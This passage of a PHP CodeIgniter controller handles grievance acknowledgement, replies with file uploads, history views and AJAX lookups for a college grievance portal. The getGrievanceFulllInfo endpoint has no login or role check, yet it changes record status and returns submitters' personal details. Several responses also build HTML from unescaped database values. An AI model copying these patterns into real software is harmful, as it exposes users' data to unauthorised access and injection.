            if ($grvnInfo->gm_acknowledge_by == NULL) {
                if ($this->GrievanceManagement->updateGrievanceInfo($grievanceAcknowledgeData)) {
                    $ackLogInfo = array(
                        'grl_remark' => "Acknowledged",
                        'grl_reply' => "NA",
                        'grl_status' => 'A',
                        'grl_action_taken_on' => date("Y-m-d H:i:s"),
                        'grl_action_taken_by' => $this->session->userdata('id'),
                        'grl_delete_status' => "F",
                        'grl_action_updated_on' => date("Y-m-d H:i:s"),
                        'grl_action_updated_by' => $this->session->userdata('id'),
                        'gm_id' => $gm_id
                    );
                    if ($this->GrievanceLogManagement->createGrievanceLog($ackLogInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Grievance Acknowledged Successfully.');
                        redirect("Grievance/grievanceListing/pi");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                        redirect("Grievance/grievanceListing/pi");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Acknowledging Grievance. Try Later.');
                    redirect("Grievance/grievanceListing/pi");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Grievance Can Not Be Acknowledging As It Has Already Been Acknowledged By Some Other User.');
                redirect("Grievance/grievanceListing/pi");
            }
        } else {
            redirect("Home/");
        }
    }

    public function replyGrievance($gm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('type') == "NA") && ($this->session->userdata('role') == "GCM" || $this->session->userdata('role') == "MGMT")) {
            $viewData['grievance_info'] = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
            $this->load->view('reply_grievance', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function saveGrievanceReply() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('type') == "NA") && ($this->session->userdata('role') == "GCM" || $this->session->userdata('role') == "MGMT")) {
            $this->form_validation->set_rules('grvncStatus', 'Status', 'required', array('required' => 'Please Select Grievance Status.'));
            $this->form_validation->set_rules('grvncReply', 'Reply Description/Opinion', 'trim|required|max_length[1000]', array('required' => 'Your Reply/Opinion Is Required.'));
            $gm_id = $this->input->post('gm_id');
            if ($this->form_validation->run() == FALSE) {
                $this->replyGrievance($gm_id);
            } else {
                $grievanceReplyData = array(
                    'gm_id' => $gm_id,
                    'gm_current_status' => $this->input->post('grvncStatus')
                );
                if ($this->input->post('grvncStatus') == "R") {
                    $grievanceReplyData['gm_resolved_on'] = date("Y-m-d H:i:s");
                    $grievanceReplyData['gm_resolved_by'] = $this->session->userdata('id');
                }
                $remarks = "";
                if ($this->input->post('grvncStatus') == "R") {
                    $remarks = "Resolved";
                } else if ($this->input->post('grvncStatus') == "IP") {
                    $remarks = "In-Progress";
                } else {
                    $remarks = "Disposed";
                }
                $this->db->trans_start();
                if ($this->GrievanceManagement->updateGrievanceInfo($grievanceReplyData)) {
                    if (empty($_FILES['grvncFileOne']['name']) && empty($_FILES['grvncFileTwo']['name'])) {
                        $replyLogInfo = array(
                            'grl_remark' => $remarks,
                            'grl_reply' => $this->input->post('grvncReply'),
                            'grl_status' => $this->input->post('grvncStatus'),
                            'grl_action_taken_on' => date("Y-m-d H:i:s"),
                            'grl_action_taken_by' => $this->session->userdata('id'),
                            'grl_delete_status' => "F",
                            'grl_action_updated_on' => date("Y-m-d H:i:s"),
                            'grl_action_updated_by' => $this->session->userdata('id'),
                            'gm_id' => $gm_id
                        );
                        if ($this->GrievanceLogManagement->createGrievanceLog($replyLogInfo)) {
                            $this->db->trans_complete();
                            $this->session->set_flashdata('successMessage', 'Grievance Reply Saved Successfully.');
                            redirect("Grievance/grievanceListing/pi");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                            redirect("Grievance/grievanceListing/pi");
                        }
                    } else if (!empty($_FILES['grvncFileOne']['name']) && empty($_FILES['grvncFileTwo']['name'])) {
                        $fileOneNameAndPath = "";
                        $configGrvncReplyFile['upload_path'] = './assets/grvnc_rep_files/';
                        $configGrvncReplyFile['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                        $configGrvncReplyFile['max_size'] = '1024';
                        $configGrvncReplyFile['file_ext_tolower'] = TRUE;
                        $configGrvncReplyFile['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configGrvncReplyFile);
                        if (!$this->upload->do_upload('grvncFileOne')) {
                            $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance Reply File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                            $this->replyGrievance($gm_id);
                        } else {
                            $fileOneNameAndPath = "assets/grvnc_rep_files/" . $this->upload->data()['file_name'];
                            $replyLogInfo = array(
                                'grl_remark' => $remarks,
                                'grl_reply' => $this->input->post('grvncReply'),
                                'grl_reply_file_one' => $fileOneNameAndPath,
                                'grl_status' => $this->input->post('grvncStatus'),
                                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                'grl_action_taken_by' => $this->session->userdata('id'),
                                'grl_delete_status' => "F",
                                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                'grl_action_updated_by' => $this->session->userdata('id'),
                                'gm_id' => $gm_id
                            );
                            if ($this->GrievanceLogManagement->createGrievanceLog($replyLogInfo)) {
                                $this->db->trans_complete();
                                $this->session->set_flashdata('successMessage', 'Grievance Reply Saved Successfully.');
                                redirect("Grievance/grievanceListing/pi");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                redirect("Grievance/grievanceListing/pi");
                            }
                        }
                    } else if (empty($_FILES['grvncFileOne']['name']) && !empty($_FILES['grvncFileTwo']['name'])) {
                        $fileTwoNameAndPath = "";
                        $configGrvncReplyFile['upload_path'] = './assets/grvnc_rep_files/';
                        $configGrvncReplyFile['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                        $configGrvncReplyFile['max_size'] = '1024';
                        $configGrvncReplyFile['file_ext_tolower'] = TRUE;
                        $configGrvncReplyFile['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configGrvncReplyFile);
                        if (!$this->upload->do_upload('grvncFileTwo')) {
                            $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance Reply File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                            $this->replyGrievance($gm_id);
                        } else {
                            $fileTwoNameAndPath = "assets/grvnc_rep_files/" . $this->upload->data()['file_name'];
                            $replyLogInfo = array(
                                'grl_remark' => $remarks,
                                'grl_reply' => $this->input->post('grvncReply'),
                                'grl_reply_file_two' => $fileTwoNameAndPath,
                                'grl_status' => $this->input->post('grvncStatus'),
                                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                'grl_action_taken_by' => $this->session->userdata('id'),
                                'grl_delete_status' => "F",
                                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                'grl_action_updated_by' => $this->session->userdata('id'),
                                'gm_id' => $gm_id
                            );
                            if ($this->GrievanceLogManagement->createGrievanceLog($replyLogInfo)) {
                                $this->db->trans_complete();
                                $this->session->set_flashdata('successMessage', 'Grievance Reply Saved Successfully.');
                                redirect("Grievance/grievanceListing/pi");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                redirect("Grievance/grievanceListing/pi");
                            }
                        }
                    } else {
                        $fileOneNameAndPath = "";
                        $configGrvncReplyFile['upload_path'] = './assets/grvnc_rep_files/';
                        $configGrvncReplyFile['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                        $configGrvncReplyFile['max_size'] = '1024';
                        $configGrvncReplyFile['file_ext_tolower'] = TRUE;
                        $configGrvncReplyFile['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configGrvncReplyFile);
                        if (!$this->upload->do_upload('grvncFileOne')) {
                            $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance Reply File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                            $this->replyGrievance($gm_id);
                        } else {
                            $fileOneNameAndPath = "assets/grvnc_rep_files/" . $this->upload->data()['file_name'];
                            $fileTwoNameAndPath = "";
                            $configGrvncReplyFile['upload_path'] = './assets/grvnc_rep_files/';
                            $configGrvncReplyFile['allowed_types'] = 'jpeg|jpg|png|webp|doc|docx|pdf';
                            $configGrvncReplyFile['max_size'] = '1024';
                            $configGrvncReplyFile['file_ext_tolower'] = TRUE;
                            $configGrvncReplyFile['encrypt_name'] = TRUE;
                            $this->load->library('upload', $configGrvncReplyFile);
                            if (!$this->upload->do_upload('grvncFileTwo')) {
                                $this->session->set_flashdata('errorMessage', "The File Can Not Be Uploaded As It Do Not Fulfill Grievance Reply File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp,*.doc,*.docx,*.pdf");
                                $this->replyGrievance($gm_id);
                            } else {
                                $fileTwoNameAndPath = "assets/grvnc_rep_files/" . $this->upload->data()['file_name'];
                                $replyLogInfo = array(
                                    'grl_remark' => $remarks,
                                    'grl_reply' => $this->input->post('grvncReply'),
                                    'grl_reply_file_one' => $fileOneNameAndPath,
                                    'grl_reply_file_two' => $fileTwoNameAndPath,
                                    'grl_status' => $this->input->post('grvncStatus'),
                                    'grl_action_taken_on' => date("Y-m-d H:i:s"),
                                    'grl_action_taken_by' => $this->session->userdata('id'),
                                    'grl_delete_status' => "F",
                                    'grl_action_updated_on' => date("Y-m-d H:i:s"),
                                    'grl_action_updated_by' => $this->session->userdata('id'),
                                    'gm_id' => $gm_id
                                );
                                if ($this->GrievanceLogManagement->createGrievanceLog($replyLogInfo)) {
                                    $this->db->trans_complete();
                                    $this->session->set_flashdata('successMessage', 'Grievance Reply Saved Successfully.');
                                    redirect("Grievance/grievanceListing/pi");
                                } else {
                                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Logging Your Action. Try Later.');
                                    redirect("Grievance/grievanceListing/pi");
                                }
                            }
                        }
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Replying Grievance. Try Later.');
                    redirect("Grievance/grievanceListing/pi");
                }
            }
        } else {
            redirect("Home/");
        }
    }

    public function grievanceHistory($gm_id) {
        if ($this->session->userdata('logged_in')) {
            $viewData['grievance_info'] = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
            $viewData['grievance_history'] = $this->GrievanceLogManagement->getGrievanceLog($gm_id)->result();
            $this->load->view('grievance_history', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function getGrievanceFulllInfo() {
        $gm_id = $_POST['gm_id'];
        $is_viewed = $_POST['is_viewed'];
        if ($is_viewed) {
            $viewUpdateInfo = array(
                'gm_id' => $gm_id,
                'gm_viewed_by' => $this->session->userdata('id'),
                'gm_current_status' => 'V',
                'gm_viewed_on' => date("Y-m-d H:i:s")
            );
            $viewLogInfo = array(
                'grl_remark' => "Viewed",
                'grl_reply' => "-",
                'grl_status' => 'V',
                'grl_action_taken_on' => date("Y-m-d H:i:s"),
                'grl_action_taken_by' => $this->session->userdata('id'),
                'grl_delete_status' => "F",
                'grl_action_updated_on' => date("Y-m-d H:i:s"),
                'grl_action_updated_by' => $this->session->userdata('id'),
                'gm_id' => $gm_id
            );
            $this->GrievanceManagement->updateGrievanceInfo($viewUpdateInfo);
            $this->GrievanceLogManagement->createGrievanceLog($viewLogInfo);
        }
        $grievance_info = $this->GrievanceManagement->getGrievanceInfoById($gm_id)->result()[0];
        $currentStatus = "-";
        $course = "-";
        $semOrYear = "-";
        $viewedBy = "-";
        $acknowledgedBy = "-";
        $lockedBy = "-";
        $resolvedBy = "-";
        $userType = "-";
        $uIdLabel = "-";
        if ($grievance_info->gm_current_status == "P") {
            $currentStatus = "Pending";
        } else if ($grievance_info->gm_current_status == "A") {
            $currentStatus = "Acknowledged";
        } else if ($grievance_info->gm_current_status == "V") {
            $currentStatus = "Viewed";
        } else if ($grievance_info->gm_current_status == "IP") {
            $currentStatus = "In-Progress";
        } else if ($grievance_info->gm_current_status == "R") {
            $currentStatus = "Resolved/Closed";
        } else if ($grievance_info->gm_current_status == "DL") {
            $currentStatus = "Refused";
        } else {
            $currentStatus = "Re-Opened";
        }
        if ($grievance_info->cau_user_type_flag == "S" && $grievance_info->cau_user_role_flag == "NA") {
            $courseInfo = $this->CourseManagement->getCourseInfoById($grievance_info->gm_course_id)->result()[0];
            $course = $courseInfo->course_name;
            $semOrYear = $grievance_info->gm_course_ysem;
            $userType = "Student";
            $uIdLabel = "Reg./Admsn./Roll No.";
        } else if ($grievance_info->cau_user_type_flag == "P" && $grievance_info->cau_user_role_flag == "NA") {
            $userType = "Parent";
            $uIdLabel = "Ward's Reg./Admsn./Roll No.";
        } else if ($grievance_info->cau_user_type_flag == "F" && $grievance_info->cau_user_role_flag == "NA") {
            $userType = "Faculty";
            $uIdLabel = "Emp. Code/No.";
        } else if ($grievance_info->cau_user_type_flag == "N" && $grievance_info->cau_user_role_flag == "NA") {
            $userType = "Non-Teaching Staff";
            $uIdLabel = "Emp. Code/No.";
        } else {
            $userType = "Other";
        }
        if ($grievance_info->gm_viewed_by != NULL || $grievance_info->gm_viewed_by != "") {
            $viewerInfo = $this->UserManagement->getUserInfoById($grievance_info->gm_viewed_by)->result()[0];
            $viewedBy = $viewerInfo->cau_first_name . " " . $viewerInfo->cau_last_name;
        }
        if ($grievance_info->gm_acknowledge_by != NULL || $grievance_info->gm_acknowledge_by != "") {
            $acknowledgerInfo = $this->UserManagement->getUserInfoById($grievance_info->gm_acknowledge_by)->result()[0];
            $acknowledgedBy = $acknowledgerInfo->cau_first_name . " " . $acknowledgerInfo->cau_last_name;
        }
        if ($grievance_info->gm_locked_by != NULL || $grievance_info->gm_locked_by != "") {
            $lockedByInfo = $this->UserManagement->getUserInfoById($grievance_info->gm_locked_by)->result()[0];
            $lockedBy = $lockedByInfo->cau_first_name . " " . $lockedByInfo->cau_last_name;
        }
        if ($grievance_info->gm_resolved_by != NULL || $grievance_info->gm_resolved_by != "") {
            $resolvedByInfo = $this->UserManagement->getUserInfoById($grievance_info->gm_resolved_by)->result()[0];
            $resolvedBy = $resolvedByInfo->cau_first_name . " " . $resolvedByInfo->cau_last_name;
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'gm_id' => $grievance_info->gm_disp_id,
            'gm_category' => $grievance_info->gcm_title,
            'gm_disp_id' => $grievance_info->gm_disp_id,
            'gm_subject' => $grievance_info->gm_subject,
            'gm_description' => $grievance_info->gm_description,
            'gm_file_one' => ($grievance_info->gm_file_one == "" || $grievance_info->gm_file_one == NULL) ? "-" : "<a href='" . base_url($grievance_info->gm_file_one) . "' target='_blank'>Click To View</a>",
            'gm_file_two' => ($grievance_info->gm_file_two == "" || $grievance_info->gm_file_two == NULL) ? "-" : "<a href='" . base_url($grievance_info->gm_file_two) . "' target='_blank'>Click To View</a>",
            'gm_delete_status' => ($grievance_info->gm_delete_status == "T") ? "Deleted By Initiator" : "-",
            'gm_current_status' => $currentStatus,
            'gm_reg_emp_no' => $uIdLabel . ":" . $grievance_info->cau_adm_reg_roll_no,
            'gm_submitter_img' => $grievance_info->cau_image_url,
            'gm_user_type' => $userType,
            'gm_course' => $course,
            'gm_sem_or_year' => $semOrYear,
            'gm_submitted_by' => $grievance_info->cau_first_name . " " . $grievance_info->cau_last_name,
            'gm_submitted_on' => ($grievance_info->gm_submitted_on == NULL || $grievance_info->gm_submitted_on == "") ? "-" : date('d-m-Y h:i:s A', strtotime($grievance_info->gm_submitted_on)),
            'gm_viewed_by' => $viewedBy,
            'gm_viewed_on' => ($grievance_info->gm_viewed_on == NULL || $grievance_info->gm_viewed_on == "") ? "-" : date('d-m-Y h:i:s A', strtotime($grievance_info->gm_viewed_on)),
            'gm_acknowledge_by' => $acknowledgedBy,
            'gm_acknowledge_on' => ($grievance_info->gm_acknowledge_on == NULL || $grievance_info->gm_acknowledge_on == "") ? "-" : date('d-m-Y h:i:s A', strtotime($grievance_info->gm_acknowledge_on)),
            'gm_locked_by' => $lockedBy,
            'gm_locked_on' => ($grievance_info->gm_locked_on == NULL || $grievance_info->gm_locked_on == "") ? "-" : date('d-m-Y h:i:s A', strtotime($grievance_info->gm_locked_on)),
            'gm_resolved_by' => $resolvedBy,
            'gm_resolved_on' => ($grievance_info->gm_resolved_on == NULL) ? "-" : $grievance_info->gm_resolved_on,
            'gm_updated_on' => date('d-m-Y h:i:s A', strtotime($grievance_info->gm_updated_on))
        );
        echo json_encode($responseData);
    }

    public function getAllotedMembersByGrievanceCategory() {
        $gcm_id = $_POST['gcm_id'];
        $inst_id = $_POST['inst_id'];
        $options = "<option value=''>All</option>";
        if ($gcm_id == "" || $gcm_id == '') {
            $query = $this->UserManagement->getNonDeletedGCellAndMgmntMembers($inst_id);
            $memberList = $query->result();
            for ($i = 0; $i < (sizeof($memberList)); $i++) {
                if ($memberList[$i]->cau_user_role_flag == 'GCM') {
                    $userType = "G-Cell Member";
                } else {
                    $userType = "Mgmnt. Member";
                }
                $options .= "<option value=" . $memberList[$i]->cau_id . ">" . $memberList[$i]->cau_first_name . " " . $memberList[$i]->cau_last_name . "(" . $userType . ")</option>";
            }
        } else {
            $query = $this->UserManagement->getAllotedMembersInfoByGrievanceCategory($gcm_id);
            $memberList = $query->result();
            for ($i = 0; $i < (sizeof($memberList)); $i++) {
                if ($memberList[$i]->cau_user_role_flag == 'GCM') {
                    $userType = "G-Cell Member";
                } else {
                    $userType = "Mgmnt. Member";
                }
                $options .= "<option value=" . $memberList[$i]->cau_id . ">" . $memberList[$i]->cau_first_name . " " . $memberList[$i]->cau_last_name . "(" . $userType . ")</option>";
            }
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'member_list' => $options
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023